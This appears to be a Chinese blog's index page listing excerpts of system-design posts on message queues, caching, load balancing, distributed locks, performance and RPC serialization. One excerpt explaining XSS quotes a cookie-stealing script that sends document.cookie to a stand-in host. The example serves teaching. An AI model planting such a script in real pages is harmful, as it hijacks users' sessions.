消息队列 一、消息模型点对点消息生产者向消息队列中发送了一个消息之后,只能被一个消费者消费一次。 发布/订阅消息生产者向频道发送一个消息之后,多个消费者可以从该频道订阅到这条消息并消费。 发布与订阅模式和观察者模式有以下不同: 观察者模式中,观察者和主题都知道对方的存在;而在发布与订阅模式中,生产者与消费者不知道对方的存在,它们之间通过频道进行通信。 观察者模式是同步的, 2023-03-14 系统设计 #转载
缓存 一、缓存特征命中率当某个请求能够通过访问缓存而得到响应时,称为缓存命中。 缓存命中率越高,缓存的利用率也就越高。 最大空间缓存通常位于内存中,内存的空间通常比磁盘空间小的多,因此缓存的最大空间不可能非常大。 当缓存存放的数据量超过最大空间时,就需要淘汰部分数据来存放新到达的数据。 淘汰策略 FIFO(First In First Out):先进先出策略,在实时性的场景下,需要经常访问最新的数据,那 2023-03-12 系统设计 #转载
攻击技术 一、跨站脚本攻击概念跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。 攻击原理例如有一个论坛网站,攻击者可以在上面发布以下内容: 1<script>location.href="//domain.com/?c=" + document.cookie</scr 2023-03-11 系统设计 #转载
集群 一、负载均衡集群中的应用服务器(节点)通常被设计成无状态,用户可以请求任何一个节点。 负载均衡器会根据集群中每个节点的负载情况,将用户请求转发到合适的节点上。 负载均衡器可以用来实现高可用以及伸缩性: 高可用:当某个节点故障时,负载均衡器会将用户请求转发到另外的节点上,从而保证所有服务持续可用; 伸缩性:根据系统整体负载情况,可以很容易地添加或移除节点。 负载均衡器运行过程包含两个部分: 根 2023-03-11 系统设计 #转载
分布式 一、分布式锁在单机场景下,可以使用语言的内置锁来实现进程同步。但是在分布式场景下,需要同步的进程可能位于不同的节点上,那么就需要使用分布式锁。 阻塞锁通常使用互斥量来实现: 互斥量为 0 表示有其它进程在使用锁,此时处于锁定状态; 互斥量为 1 表示未锁定状态。 1 和 0 可以用一个整型值表示,也可以用某个数据是否存在表示。 数据库的唯一索引获得锁时向表中插入一条记录,释放锁时删除这条记录。 2023-03-10 系统设计 #转载
系统设计基础 一、性能性能指标 相应时间 指某个请求从发出到接收到响应消耗的时间。 在对响应时间进行测试时,通常采用重复请求的方式,然后计算平均响应时间。 吞吐量 指系统在单位时间内可以处理的请求数量,通常使用每秒的请求数来衡量。 并发用户数 指系统能同时处理的并发用户请求数量。 在没有并发存在的系统中,请求被顺序执行,此时响应时间为吞吐量的倒数。例如系统支持的吞吐量为 100 req/s, 2023-03-10 系统设计 #转载
Thrift、Protobuf和Avro的比较 一、定义ThriftThrift 是由 Facebook 主导开发的一个跨平台、支持多语言的,通过定义 IDL 文件,自动生成 RPC 客户端与服务端通信代码的工具,以构建在 C++, Java, Python, PHP, Ruby, Erlang, Perl, Haskell, C#, Cocoa, JavaScript, Node.js, Smalltalk, and OCaml 这些编程语言 2023-03-05 RPC #转载
RPC基本概念 一、基本概念1.1 本地函数调用举例: 12345678910111213func main() { var a = 2 var b = 3 result := calculate(a, b) fmt.Println(result) return}func calculate(x, y int) { z := x * y re 2023-03-05 RPC #原创
Hello World Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub. Quick 2023-03-03